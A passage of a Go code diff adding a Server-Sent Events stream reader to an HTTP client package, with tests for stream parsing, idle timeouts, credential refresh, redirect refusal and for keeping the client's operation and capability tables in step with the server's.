bool { + mediaType, _, err := mime.ParseMediaType(contentType) + return err == nil && mediaType == "text/event-stream" +} + +// Retry is the server's most recent reconnection advisory, or 0. The Watcher +// role reads it after a stream drops to decide how long to wait before +// reconnecting. +func (s *EventStream) Retry() time.Duration { return s.retry } + +// Close aborts a blocked Next and releases the connection. It is idempotent and +// safe to call from another goroutine. +// +// The one-shot is a CompareAndSwap, not a read-then-write, so two goroutines that +// race Close — the Watcher role closing a drained stream while an idle timer's +// abort path is unwinding, say — cancel the context and close the body exactly +// once between them, which is what the idempotency contract above promises. +func (s *EventStream) Close() { + if !s.closed.CompareAndSwap(false, true) { + return + } + s.cancel() + _ = s.body.Close() +} + +// Next reads and returns the next dispatched event. +// +// It loops over SSE lines, accumulating one event's fields until a blank line +// dispatches it. Comment lines (heartbeats) and frames that carry only a +// `retry:` or an `id:` — which SSE dispatches as no message — are absorbed here +// so the caller sees only events that carry data. A read that outlives the idle +// deadline, that the caller cancels, or that the connection drops surfaces as an +// error; a per-event size cap refuses a frame larger than the client's bound. +func (s *EventStream) Next() (StreamEvent, error) { + var ev sseEvent + for { + line, err := s.readLine() + if err != nil { + return StreamEvent{}, s.classifyReadErr(err) + } + line = trimLineEnd(line) + + if len(line) == 0 { + // The blank line dispatches. A frame with no data carries only a retry + // advisory or an id and fires no message in SSE, so it is folded into + // the next event rather than returned. + if len(ev.data) == 0 { + ev = sseEvent{} + continue + } + return StreamEvent{Seq: ev.seq, Name: ev.name, Data: ev.data, Retry: s.retry}, nil + } + + if line[0] == ':' { + // A comment — the heartbeat. It carries nothing, and reading it already + // reset the idle deadline, which is its whole purpose. + continue + } + + field, value := splitSSEField(line) + if err := s.applyField(&ev, field, value); err != nil { + return StreamEvent{}, err + } + } +} + +// sseEvent is one event's fields, accumulated by Next until a blank line +// dispatches them. +type sseEvent struct { + data []byte + name string + seq int64 + // size is every field value read for this event, which is what the + // per-event cap measures. + size int64 +} + +// applyField folds one SSE field line into ev, refusing the event once its +// values pass the per-event cap. Every field's value counts against the cap, +// not just data's. retry is the one field that is not the event's: it is a +// stream-wide advisory, so it lands on s. +func (s *EventStream) applyField(ev *sseEvent, field, value string) error { + ev.size += int64(len(value)) + if ev.size > s.maxBytes { + return s.tooLarge() + } + switch field { + case "event": + ev.name = value + case "data": + if len(ev.data) > 0 { + ev.data = append(ev.data, '\n') + } + ev.data = append(ev.data, value...) + if int64(len(ev.data)) > s.maxBytes { + return s.tooLarge() + } + case "id": + if n, perr := strconv.ParseInt(value, 10, 64); perr == nil { + ev.seq = n + } + case "retry": + if ms, perr := strconv.ParseInt(value, 10, 64); perr == nil && ms >= 0 { + s.retry = time.Duration(ms) * time.Millisecond + } + } + return nil +} + +// readLine reads one SSE line, bounded by the per-event cap and armed with the +// idle deadline. +// +// The read is wrapped in a fresh time.AfterFunc so that no bytes for +// watchIdleTimeout cancels the request's derived context, which unblocks the +// parked read; the timer is stopped the instant the line returns, so a stream +// delivering normally never trips it. ReadSlice rather than ReadString keeps a +// pathological line with no newline from growing an unbounded buffer: it is read +// in fragments and refused the moment the accumulated bytes pass the cap. +// +// The deadline is an INTER-BYTE idle, not a per-line transfer budget: it is +// re-armed on every fragment that made byte progress, so a large single line +// that keeps moving — arriving across many ErrBufferFull fragments — never idles +// out while bytes flow, and only a stream that goes genuinely silent for +// watchIdleTimeout between fragments does. +func (s *EventStream) readLine() ([]byte, error) { + timer := time.AfterFunc(watchIdleTimeout, func() { + s.idledOut.Store(true) + s.cancel() + }) + defer timer.Stop() + + var buf []byte + for { + frag, err := s.reader.ReadSlice('\n') + if len(frag) > 0 { + // Byte progress: this fragment is not silence, so re-arm the deadline to + // measure the gap until the NEXT bytes rather than the whole transfer. + timer.Reset(watchIdleTimeout) + } + buf = append(buf, frag...) + if int64(len(buf)) > s.maxBytes { + return nil, s.tooLarge() + } + if errors.Is(err, bufio.ErrBufferFull) { + continue + } + if err != nil { + if len(buf) > 0 && errors.Is(err, io.EOF) { + // A final line with no trailing newline: return it, and let the + // next read report the EOF. + return buf, nil + } + return buf, err + } + return buf, nil + } +} + +// classifyReadErr turns a read failure into the error the caller should see. +// +// The order is deliberate: the caller's own cancellation wins, because a stream +// the caller stopped is not a drop to reconnect from. Then an idle timeout, +// which canceled the request but is this client's decision and not the +// caller's. Everything else — an EOF, a reset — is the connection dropping, +// which the Watcher role reconnects from. +func (s *EventStream) classifyReadErr(err error) error { + if s.parentCtx.Err() != nil { + return s.parentCtx.Err() + } + if s.idledOut.Load() { + return &StreamIdleError{Op: s.op, ServerURL: s.serverURL, Idle: watchIdleTimeout} + } + return err +} + +func (s *EventStream) tooLarge() error { + return &StreamEventTooLargeError{Op: s.op, ServerURL: s.serverURL, Limit: s.maxBytes} +} + +// trimLineEnd strips the trailing newline and an optional preceding carriage +// return, so a server that framed with CRLF parses like one that framed with LF. +func trimLineEnd(line []byte) []byte { + line = bytes.TrimSuffix(line, []byte("\n")) + line = bytes.TrimSuffix(line, []byte("\r")) + return line +} + +// splitSSEField splits an SSE line into its field name and value, dropping one +// optional space after the colon. A line with no colon is a field with an empty +// value, per the SSE grammar. +func splitSSEField(line []byte) (string, string) { + i := bytes.IndexByte(line, ':') + if i < 0 { + return string(line), "" + } + value := line[i+1:] + if len(value) > 0 && value[0] == ' ' { + value = value[1:] + } + return string(line[:i]), string(value) +} + +// ErrNotEventStream reports that a 2xx answer to the watch connect was not a +// text/event-stream body, which means the URL does not point at a bd serve. +var ErrNotEventStream = errors.New("bd serve did not answer the watch with an event stream") + +// NotEventStreamError names the media type that came back instead, because on a +// shared host that is what says WHAT answered — a JSON API, an HTML login page, +// a proxy's own 200. +type NotEventStreamError struct { + Op string + ServerURL string + ContentType string +} + +func (e *NotEventStreamError) Error() string { + if e.ContentType == "" { + return fmt.Sprintf("%s: bd serve at %s answered the watch 2xx with no content type; a stream must be text/event-stream", e.Op, e.ServerURL) + } + return fmt.Sprintf("%s: bd serve at %s answered the watch with content type %q, not text/event-stream (the URL does not point at a bd serve)", e.Op, e.ServerURL, e.ContentType) +} + +func (e *NotEventStreamError) Unwrap() error { return ErrNotEventStream } + +// ErrStreamIdle reports that an open stream went silent past the idle deadline. +var ErrStreamIdle = errors.New("bd serve stream went silent") + +// StreamIdleError is a stream that produced no bytes — not even a heartbeat — +// for watchIdleTimeout. The connection is treated as dead: the recovery is a +// reconnect, which the Watcher role performs from the last delivered seq. +type StreamIdleError struct { + Op string + ServerURL string + Idle time.Duration +} + +func (e *StreamIdleError) Error() string { + return fmt.Sprintf("%s: bd serve at %s sent no data for %s; the stream is silent past three heartbeats and treated as dead", e.Op, e.ServerURL, e.Idle) +} + +func (e *StreamIdleError) Unwrap() error { return ErrStreamIdle } + +// ErrStreamPoisoned reports that an open stream carried a payload this client +// cannot follow, discovered MID-STREAM: a record whose JSON will not decode, or +// an event past the per-event bound. It is a PROTOCOL fault, not a transport +// drop — the resume checkpoint would re-fetch the same poisoned record on every +// reconnect — so the Watcher role STOPS on it rather than reconnecting into an +// unbounded loop pinned on the same bad record. A consumer dispatches on it to +// tell a poisoned feed from a transient disconnect it never sees. +var ErrStreamPoisoned = errors.New("bd serve stream carried a record this client cannot follow") + +// StreamEventTooLargeError is one SSE event past the client's per-event bound. +// It reuses ErrResponseTooLarge because the recovery is the same — raise the cap, +// or recognize that the far likelier cause is a URL that is not a bd serve — and +// the per-event bound is what the whole-body cap is on the paged reads. +type StreamEventTooLargeError struct { + Op string + ServerURL string + Limit int64 +} + +func (e *StreamEventTooLargeError) Error() string { + return fmt.Sprintf("%s: a single event from bd serve at %s exceeds the %d-byte limit", e.Op, e.ServerURL, e.Limit) +} + +func (e *StreamEventTooLargeError) Unwrap() error { return ErrResponseTooLarge } + +// NewEventStreamReader wraps an already-open SSE body for a backend test that +// feeds canned frames without standing up an HTTP server. +// +// Production opens a stream through WatchEvents, which owns the connect and the +// idle-deadline plumbing; this constructor is the seam a stub-tier test uses to +// drive the Watcher role's reconnect and delivery logic against scripted bytes. +// The parent context is Background — a byte reader never blocks, so the idle +// timer never fires — and Close still closes the reader the test handed in. +func NewEventStreamReader(body io.ReadCloser, maxBytes int64) *EventStream { + _, cancel := context.WithCancel(context.Background()) + if maxBytes <= 0 { + maxBytes = DefaultMaxResponseBytes + } + return &EventStream{ + op: OpWatchEvents, + serverURL: "test", + body: body, + reader: bufio.NewReader(body), + maxBytes: maxBytes, + parentCtx: context.Background(), + cancel: cancel, + } +} diff --git a/internal/httpclient/wire/stream_test.go b/internal/httpclient/wire/stream_test.go new file mode 100644 index 000000000..961a9fec1 --- /dev/null +++ b/internal/httpclient/wire/stream_test.go @@ -0,0 +1,386 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/stream_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "encoding/json" + "errors" + "io" + "net/http" + "strings" + "sync" + "sync/atomic" + "testing" + "time" +) + +// The streaming door's branch matrix, in the same httptest idiom the rest of +// this package uses: canned SSE bytes, no bd serve, no Dolt. The connect half +// reuses roundTrip's own machinery, so what is genuinely new here is the SSE +// parser and the idle deadline — and both are exercised against frames a real +// server writes (internal/httpapi/events_watch.go) and against the malformed +// ones only a doctored server can send. + +// writeSSEHeader opens a text/event-stream response and returns its flusher. +func writeSSEHeader(t *testing.T, w http.ResponseWriter) http.Flusher { + t.Helper() + fl, ok := w.(http.Flusher) + if !ok { + t.Fatal("the test server's ResponseWriter cannot flush; a stream cannot be tested") + } + w.Header().Set("Content-Type", "text/event-stream; charset=utf-8") + w.WriteHeader(http.StatusOK) + fl.Flush() + return fl +} + +func writeSSE(t *testing.T, w http.ResponseWriter, body string) { + t.Helper() + fl := writeSSEHeader(t, w) + _, _ = io.WriteString(w, body) + fl.Flush() +} + +func TestWatchParsesRecordsMultiLineDataAndComments(t *testing.T) { + // One connection carrying every frame shape the server emits: the opening + // retry advisory, a heartbeat comment, a record, and a record whose payload + // arrives across two data lines. The parser has to skip the first two, honor + // the retry, and join the multi-line data with a single newline. + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, _ *http.Request) { + writeSSE(t, w, + "retry: 3000\n\n"+ + ": heartbeat\n\n"+ + "id: 5\ndata: {\"seq\":5}\n\n"+ + "id: 6\ndata: line1\ndata: line2\n\n") + }) + + stream, err := c.WatchEvents(ctx(t), 0) + if err != nil { + t.Fatalf("WatchEvents: %v", err) + } + defer stream.Close() + + first, err := stream.Next() + if err != nil { + t.Fatalf("first Next: %v", err) + } + if first.Seq != 5 || string(first.Data) != `{"seq":5}` { + t.Errorf("first event = {seq:%d data:%q}, want {5 {\"seq\":5}}", first.Seq, first.Data) + } + if first.Retry != 3*time.Second { + t.Errorf("retry = %s, want the advertised 3s: a `retry:` frame carries the reconnection delay", first.Retry) + } + + second, err := stream.Next() + if err != nil { + t.Fatalf("second Next: %v", err) + } + if second.Seq != 6 || string(second.Data) != "line1\nline2" { + t.Errorf("second event = {seq:%d data:%q}, want {6 line1\\nline2}: multi-line data joins with a newline", second.Seq, second.Data) + } + + if _, err := stream.Next(); err == nil { + t.Error("a closed stream's Next returned no error") + } +} + +func TestWatchIdleTimeoutFiresAfterThreeHeartbeatsOfSilence(t *testing.T) { + restore := watchIdleTimeout + watchIdleTimeout = 50 * time.Millisecond + t.Cleanup(func() { watchIdleTimeout = restore }) + + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, r *http.Request) { + writeSSE(t, w, "retry: 3000\n\n") + // Go silent: no records, no heartbeats. A half-dead NAT looks exactly like + // this. Hold the connection until the client's idle timer cancels it. + <-r.Context().Done() + }) + + stream, err := c.WatchEvents(ctx(t), 0) + if err != nil { + t.Fatalf("WatchEvents: %v", err) + } + defer stream.Close() + + done := make(chan error, 1) + go func() { + _, nerr := stream.Next() + done <- nerr + }() + select { + case err := <-done: + if !errors.Is(err, ErrStreamIdle) { + t.Errorf("a silent stream's Next = %v, want ErrStreamIdle", err) + } + case <-time.After(5 * time.Second): + t.Fatal("Next did not return on a silent stream; the idle deadline never fired") + } +} + +func TestWatchIdleDeadlineIsInterByteNotPerLine(t *testing.T) { + restore := watchIdleTimeout + watchIdleTimeout = 300 * time.Millisecond + t.Cleanup(func() { watchIdleTimeout = restore }) + + // One large single data line, delivered in fragments each well within the idle + // window but whose TOTAL transfer exceeds it. A per-line transfer deadline + // would kill this actively-moving stream at 300ms; an inter-byte idle deadline, + // re-armed on every fragment that made byte progress, must let it complete. + // The chunk is larger than the parser's read buffer so each one forces an + // ErrBufferFull fragment — the exact point the deadline has to re-arm. + const chunks = 8 + const chunkSize = 8192 + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, _ *http.Request) { + fl := writeSSEHeader(t, w) + _, _ = io.WriteString(w, "id: 1\ndata: ") + fl.Flush() + payload := strings.Repeat("x", chunkSize) + for i := 0; i < chunks; i++ { + time.Sleep(50 * time.Millisecond) + _, _ = io.WriteString(w, payload) + fl.Flush() + } + _, _ = io.WriteString(w, "\n\n") + fl.Flush() + }) + + stream, err := c.WatchEvents(ctx(t), 0) + if err != nil { + t.Fatalf("WatchEvents: %v", err) + } + defer stream.Close() + + type result struct { + ev StreamEvent + err error + } + done := make(chan result, 1) + go func() { + ev, nerr := stream.Next() + done <- result{ev, nerr} + }() + select { + case got := <-done: + if got.err != nil { + t.Fatalf("a slow-but-progressing large line = %v, want it delivered: the idle deadline must be inter-byte, not a per-line transfer budget", got.err) + } + if want := chunks * chunkSize; len(got.ev.Data) != want { + t.Errorf("delivered %d data bytes, want %d: the whole progressing line", len(got.ev.Data), want) + } + case <-time.After(5 * time.Second): + t.Fatal("Next never returned on a progressing stream") + } +} + +func TestStreamCloseIsIdempotentUnderConcurrency(t *testing.T) { + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, r *http.Request) { + writeSSE(t, w, "id: 1\ndata: {\"seq\":1}\n\n") + // Hold the connection open so Close has a live body to close and a parked + // request to cancel; it unblocks when the client's Close cancels the request. + <-r.Context().Done() + }) + stream, err := c.WatchEvents(ctx(t), 0) + if err != nil { + t.Fatalf("WatchEvents: %v", err) + } + + // Race many concurrent Close calls. The CAS one-shot must let exactly one win + // the cancel-and-close and no-op the rest, with no data race on the closed flag + // — the whole point of moving it off a plain bool. Run under -race to catch a + // regression. + const n = 16 + var wg sync.WaitGroup + wg.Add(n) + start := make(chan struct{}) + for i := 0; i < n; i++ { + go func() { + defer wg.Done() + <-start + stream.Close() + }() + } + close(start) + wg.Wait() + + // A further Close after they all return is still safe and still a no-op. + stream.Close() +} + +func TestWatchRefreshesTheCredentialOnceOnA401(t *testing.T) { + creds := &staticToken{tokens: []string{"stale", "fresh"}, retry: true} + var connects atomic.Int64 + c, _ := newTestClient(t, Options{}, creds, func(w http.ResponseWriter, r *http.Request) { + n := connects.Add(1) + token := strings.TrimPrefix(r.Header.Get("Authorization"), "Bearer ") + if n == 1 { + if token != "stale" { + t.Errorf("first connect carried token %q, want the stale one", token) + } + problemJSON(w, http.StatusUnauthorized, `{"status":401,"code":"unauthenticated"}`) + return + } + if token != "fresh" { + t.Errorf("the retry carried token %q, want the refreshed one", token) + } + writeSSE(t, w, "id: 1\ndata: {\"seq\":1}\n\n") + }) + + stream, err := c.WatchEvents(ctx(t), 0) + if err != nil { + t.Fatalf("WatchEvents after a 401 refresh: %v", err) + } + defer stream.Close() + + ev, err := stream.Next() + if err != nil { + t.Fatalf("Next after the refreshed reconnect: %v", err) + } + if ev.Seq != 1 { + t.Errorf("delivered seq %d, want 1", ev.Seq) + } + if creds.refreshN != 1 { + t.Errorf("refreshed %d times, want exactly one", creds.refreshN) + } + if got := connects.Load(); got != 2 { + t.Errorf("made %d connects, want 2 (the 401 and the refreshed retry)", got) + } +} + +func TestWatchDoesNotRefreshTwiceOnAPersistent401(t *testing.T) { + creds := &staticToken{tokens: []string{"a", "b"}, retry: true} + var connects atomic.Int64 + c, _ := newTestClient(t, Options{}, creds, func(w http.ResponseWriter, _ *http.Request) { + connects.Add(1) + problemJSON(w, http.StatusUnauthorized, `{"status":401,"code":"unauthenticated"}`) + }) + + _, err := c.WatchEvents(ctx(t), 0) + if !errors.Is(err, ErrUnauthenticated) { + t.Fatalf("a persistent 401 = %v, want ErrUnauthenticated", err) + } + if got := connects.Load(); got != 2 { + t.Errorf("made %d connects, want 2: the refresh is once and only once", got) + } +} + +func TestWatchRefusesARedirect(t *testing.T) { + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Location", "https://elsewhere.example/login") + w.WriteHeader(http.StatusFound) + }) + _, err := c.WatchEvents(ctx(t), 0) + if !errors.Is(err, ErrRedirected) { + t.Fatalf("a redirected watch = %v, want ErrRedirected: a bd serve does not redirect", err) + } +} + +func TestWatchStampsTheProjectIDOnTheStreamRequest(t *testing.T) { + c, rec := newTestClient(t, Options{ExpectProjectID: "proj-1"}, nil, func(w http.ResponseWriter, r *http.Request) { + if got := r.Header.Get(ProjectIDHeader); got != "proj-1" { + t.Errorf("stream request carried %s=%q, want proj-1: events:watch is project-stamp-ENFORCED", ProjectIDHeader, got) + } + writeSSE(t, w, "id: 1\ndata: {}\n\n") + }) + stream, err := c.WatchEvents(ctx(t), 0) + if err != nil { + t.Fatalf("WatchEvents: %v", err) + } + defer stream.Close() + if got := rec.at(t, 0).header.Get(ProjectIDHeader); got != "proj-1" { + t.Errorf("the recorded stream request carried %s=%q, want proj-1", ProjectIDHeader, got) + } + // And the required since parameter rides every connect. + if q := rec.at(t, 0).rawQuery; !strings.Contains(q, "since=0") { + t.Errorf("the stream request query was %q, want it to carry since=0", q) + } +} + +func TestWatchConnectRefusalsMapToTheThreeSentinels(t *testing.T) { + for _, tc := range []struct { + name string + status int + body string + want error + }{ + {"disabled", http.StatusConflict, `{"status":409,"code":"events_journal_disabled"}`, ErrEventsJournalDisabled}, + {"truncated", http.StatusGone, `{"status":410,"code":"events_journal_truncated","since":40,"floor":51,"head":99}`, ErrEventsJournalTruncated}, + {"saturated", http.StatusServiceUnavailable, `{"status":503,"code":"events_watch_saturated"}`, ErrEventsWatchSaturated}, + } { + t.Run(tc.name, func(t *testing.T) { + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, _ *http.Request) { + problemJSON(w, tc.status, tc.body) + }) + _, err := c.WatchEvents(ctx(t), 0) + if !errors.Is(err, tc.want) { + t.Fatalf("connect %d = %v, want %v", tc.status, err, tc.want) + } + if tc.want == ErrEventsJournalTruncated { + var prob *ProblemError + if !errors.As(err, &prob) { + t.Fatalf("a 410 = %T, want *ProblemError carrying the window", err) + } + if prob.Since == nil || prob.Floor == nil || prob.Head == nil { + t.Errorf("the truncation carried window {since:%v floor:%v head:%v}, want all three", prob.Since, prob.Floor, prob.Head) + } + } + }) + } +} + +func TestWatchTruncatedEventSurfacesItsNameAndProblem(t *testing.T) { + problem := `{"code":"events_journal_truncated","since":40,"floor":51,"head":99}` + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, _ *http.Request) { + writeSSE(t, w, "retry: 60000\n\nevent: truncated\ndata: "+problem+"\n\n") + }) + stream, err := c.WatchEvents(ctx(t), 0) + if err != nil { + t.Fatalf("WatchEvents: %v", err) + } + defer stream.Close() + + ev, err := stream.Next() + if err != nil { + t.Fatalf("Next for the truncated event: %v", err) + } + if ev.Name != truncatedEventName { + t.Errorf("event name = %q, want %q: the one named event on this stream", ev.Name, truncatedEventName) + } + if ev.Retry != 60*time.Second { + t.Errorf("retry = %s, want the 60s the server raises in front of a truncation", ev.Retry) + } + var decoded struct { + Since, Floor, Head int64 + } + if err := json.Unmarshal(ev.Data, &decoded); err != nil { + t.Fatalf("the truncated event's data did not parse as a problem: %v", err) + } + if decoded.Since != 40 || decoded.Floor != 51 || decoded.Head != 99 { + t.Errorf("window = {%d %d %d}, want {40 51 99}", decoded.Since, decoded.Floor, decoded.Head) + } +} + +func TestWatchRefusesAnOversizedEvent(t *testing.T) { + c, _ := newTestClient(t, Options{MaxResponseBytes: 64}, nil, func(w http.ResponseWriter, _ *http.Request) { + writeSSE(t, w, "id: 1\ndata: "+strings.Repeat("x", 200)+"\n\n") + }) + stream, err := c.WatchEvents(ctx(t), 0) + if err != nil { + t.Fatalf("WatchEvents: %v", err) + } + defer stream.Close() + if _, err := stream.Next(); !errors.Is(err, ErrResponseTooLarge) { + t.Errorf("an event past the per-event cap = %v, want ErrResponseTooLarge", err) + } +} + +func TestWatchRefusesANonEventStreamAnswer(t *testing.T) { + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusOK) + _, _ = io.WriteString(w, `{"status":"ok"}`) + }) + _, err := c.WatchEvents(ctx(t), 0) + if !errors.Is(err, ErrNotEventStream) { + t.Fatalf("a 2xx that is not a stream = %v, want ErrNotEventStream", err) + } +} diff --git a/internal/httpclient/wire/vocabulary_test.go b/internal/httpclient/wire/vocabulary_test.go new file mode 100644 index 000000000..7569e7502 --- /dev/null +++ b/internal/httpclient/wire/vocabulary_test.go @@ -0,0 +1,284 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/vocabulary_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "errors" + "slices" + "testing" + + "gopkg.in/yaml.v3" + + "github.com/steveyegge/beads/internal/httpapi" + "github.com/steveyegge/beads/internal/httpapi/spec" +) + +// The drift gates. Everything above proves the client BEHAVES; these three prove +// its three tables still describe the surface it is a client of. They are pure — +// no server, no database, no build tag — which is what lets them run in the +// unconditional PR job rather than in a tier only some pushes reach. +// +// They are the only place this package touches internal/httpapi. Production code +// deliberately does not: importing the server would drag the storage engine into +// every process that only wants to talk to one. + +func TestOperationIdsMatchTheServerRouteTable(t *testing.T) { + // One row per operation, so a renamed operationId fails to compile here + // before it fails on the wire at runtime. + pairs := []struct{ mine, theirs string }{ + {OpHealth, httpapi.OpHealth}, + {OpGetContext, httpapi.OpGetContext}, + {OpListReadyWork, httpapi.OpListReadyWork}, + {OpCountReadyWork, httpapi.OpCountReadyWork}, + {OpGetStats, httpapi.OpGetStats}, + {OpListIssues, httpapi.OpListIssues}, + {OpQueryIssues, httpapi.OpQueryIssues}, + {OpGetIssue, httpapi.OpGetIssue}, + {OpClaimIssue, httpapi.OpClaimIssue}, + {OpCloseIssue, httpapi.OpCloseIssue}, + {OpReopenIssue, httpapi.OpReopenIssue}, + {OpUpdateIssue, httpapi.OpUpdateIssue}, + {OpSweepIssues, httpapi.OpSweepIssues}, + {OpDeleteIssues, httpapi.OpDeleteIssues}, + {OpBatchCreateIssues, httpapi.OpBatchCreateIssues}, + {OpBatchCloseIssues, httpapi.OpBatchCloseIssues}, + {OpClaimNextIssue, httpapi.OpClaimNextIssue}, + {OpReleaseIssue, httpapi.OpReleaseIssue}, + {OpCountIssues, httpapi.OpCountIssues}, + {OpListSettings, httpapi.OpListSettings}, + {OpGetSetting, httpapi.OpGetSetting}, + {OpSetSetting, httpapi.OpSetSetting}, + {OpUnsetSetting, httpapi.OpUnsetSetting}, + {OpListDependencies, httpapi.OpListDependencies}, + {OpListBlockingAnnotations, httpapi.OpListBlockingAnnotations}, + {OpGetDependencyTree, httpapi.OpGetDependencyTree}, + {OpCountDependencyEdges, httpapi.OpCountDependencyEdges}, + {OpListRelatedIssues, httpapi.OpListRelatedIssues}, + {OpAddComment, httpapi.OpAddComment}, + {OpListDependencyCycles, httpapi.OpListDependencyCycles}, + {OpAddDependencies, httpapi.OpAddDependencies}, + {OpRemoveDependency, httpapi.OpRemoveDependency}, + {OpListMemories, httpapi.OpListMemories}, + {OpRememberMemory, httpapi.OpRememberMemory}, + {OpGetMemory, httpapi.OpGetMemory}, + {OpForgetMemory, httpapi.OpForgetMemory}, + {OpCreateIssue, httpapi.OpCreateIssue}, + {OpApplyBatch, httpapi.OpApplyBatch}, + {OpCompareAndSetMetadata, httpapi.OpCompareAndSetMetadata}, + {OpListEvents, httpapi.OpListEvents}, + {OpWatchEvents, httpapi.OpWatchEvents}, + } + + // The table is a HAND LIST, and a hand list's failure mode is omission: a new + // operation that never got a row here is an operation whose id this client + // could spell differently from the server forever, and every row above would + // still pass. Counting it against the capability map — which the route-table + // gate below already holds set-equal with the server's own — is what makes + // the omission fail instead of going unnoticed. + // + // The two identity operations are the difference: they carry no capability + // token (liveness and the handshake are not gated by the list they publish), + // so they are on this table and not in that map. + if got, want := len(pairs), len(opCapability); got != want { + t.Errorf("the identity table has %d rows against %d operations on the capability map; "+ + "a new operation needs a row here as well as a token there", got, want) + } + + for _, tc := range pairs { + if tc.mine != tc.theirs { + t.Errorf("operation id %q, server says %q", tc.mine, tc.theirs) + } + if _, known := CapabilityFor(tc.mine); !known { + t.Errorf("operation %q is not on the capability map", tc.mine) + } + } +} + +func TestCapabilityTableMatchesTheServerRouteTable(t *testing.T) { + // Set equality against the tokens the server actually advertises, so an + // operation added upstream with a capability cannot arrive here unclassified — + // the pre-flight would then dial it blind and get the bare 404 that is + // ambiguous with an entity's not_found. The server's advertised set is the + // UNION of its per-operation tokens and its server-wide BEHAVIOR tokens + // (project.enforce), so the client's side of the comparison is the same union: + // opCapability's tokens plus behaviorCapabilities. This is also the sync- + // atomicity gate — if the server's project-enforce change landed without this + // client's behaviorCapabilities mirror, the two sets diverge and this fails. + var mine []string + for op, token := range opCapability { + if token == "" { + // Liveness and the handshake itself are not gated by the list they + // publish. + if op != OpHealth && op != OpGetContext { + t.Errorf("operation %q has no capability token", op) + } + continue + } + mine = append(mine, token) + } + mine = append(mine, behaviorCapabilities...) + slices.Sort(mine) + + theirs := httpapi.Capabilities() + if !slices.Equal(mine, theirs) { + t.Errorf("capability tokens differ.\nclient: %v\nserver: %v", mine, theirs) + } +} + +// TestTheProjectIdentityVocabularyMatchesTheServer holds the three constants this +// client mirrors from internal/httpapi — the stamp header, the behavior +// capability and the mismatch reason — set-equal with the server's own, so a +// rename on either side fails to compile or fails here rather than silently on the +// wire. They are redeclared rather than imported for the reason paths.go states: +// internal/httpapi is the SERVER, and importing it would drag the storage engine +// into every client process. +func TestTheProjectIdentityVocabularyMatchesTheServer(t *testing.T) { + if ProjectIDHeader != httpapi.ProjectIDHeader { + t.Errorf("ProjectIDHeader = %q, server says %q", ProjectIDHeader, httpapi.ProjectIDHeader) + } + if CapProjectEnforce != httpapi.CapProjectEnforce { + t.Errorf("CapProjectEnforce = %q, server says %q", CapProjectEnforce, httpapi.CapProjectEnforce) + } + if CapListSort != httpapi.CapIssuesListSort { + t.Errorf("CapListSort = %q, server says %q", CapListSort, httpapi.CapIssuesListSort) + } + if CapBatchApplyLarge != httpapi.CapBatchApplyLarge { + t.Errorf("CapBatchApplyLarge = %q, server says %q", CapBatchApplyLarge, httpapi.CapBatchApplyLarge) + } + if ReasonProjectMismatch != string(httpapi.ReasonProjectMismatch) { + t.Errorf("ReasonProjectMismatch = %q, server says %q", ReasonProjectMismatch, httpapi.ReasonProjectMismatch) + } + if WireRevisionHeader != httpapi.WireRevisionHeader { + t.Errorf("WireRevisionHeader = %q, server says %q", WireRevisionHeader, httpapi.WireRevisionHeader) + } + if ReasonWireRevisionUnsupported != string(httpapi.ReasonWireRevisionUnsupported) { + t.Errorf("ReasonWireRevisionUnsupported = %q, server says %q", ReasonWireRevisionUnsupported, httpapi.ReasonWireRevisionUnsupported) + } + // ClientWireRevision is this build's OWN declared revision, not a mirror of + // a server constant — but in this repo client and server ship from the same + // commit, so the two are held in LOCKSTEP: ClientWireRevision must equal + // httpapi.CurrentWireRevision exactly, not merely satisfy <=. A real + // deployment can run an older client against a newer server (that is the + // whole reason ClientMinWireRevision and the wire_revision_unsupported + // refusal exist), but THIS package's own declared revision has no excuse to + // lag the server it ships beside — a PR that bumps CurrentWireRevision + // without also bumping ClientWireRevision has shipped a client that cannot + // decode its own paired server's new shape, which is exactly the gap the + // two checks below catch from both directions: strictly newer is one kind + // of bug (a shape this build cannot possibly have been compiled to decode, + // since CurrentWireRevision is the newest that exists), and merely + // different-in-either-direction is the lockstep rule's own general case. + if ClientWireRevision > httpapi.CurrentWireRevision { + t.Errorf("ClientWireRevision = %d, which is newer than the server's own CurrentWireRevision %d", ClientWireRevision, httpapi.CurrentWireRevision) + } + if ClientWireRevision != httpapi.CurrentWireRevision { + t.Errorf("ClientWireRevision = %d, server's CurrentWireRevision = %d; this client's declared revision has drifted from the one it was built against", ClientWireRevision, httpapi.CurrentWireRevision) + } + // The behavior mirror is exactly the server's, so the union above cannot pass + // by coincidence — a behavior token on one side only would fail here. The + // literal is spelled out member by member rather than compared against the + // server's own slice: a mirror checked against the thing it mirrors passes + // however both of them move. + if !slices.Equal(behaviorCapabilities, []string{httpapi.CapProjectEnforce, httpapi.CapBatchApplyLarge, httpapi.CapIssuesListSort}) { + t.Errorf("behaviorCapabilities = %v, want the server's project.enforce, issues.batchApplyLarge and issues.list.sort tokens", behaviorCapabilities) + } +} + +func TestEveryBaselineOperationIsOnTheCapabilityMap(t *testing.T) { + // The two-speed policy is only sound if the baseline set is a subset of the + // operations this client knows at all: a baseline op missing from the map + // would pre-flight as an unknown operation instead of skipping. + for op := range baselineOps { + if _, known := CapabilityFor(op); !known { + t.Errorf("baseline operation %q is not on the capability map", op) + } + } + if len(baselineOps) != 5 { + t.Errorf("baseline set has %d operations, want five (claimIssue is first-slice but gated as a write, ga-b8ddd.11)", len(baselineOps)) + } +} + +func TestTheCodeTableIsSetEqualWithTheDocumentedVocabulary(t *testing.T) { + documented := documentedCodes(t) + mapped := Codes() + + if !slices.Equal(documented, mapped) { + t.Errorf("problem-code vocabulary differs.\ndocument: %v\nclient: %v", documented, mapped) + } + + // The other half of the 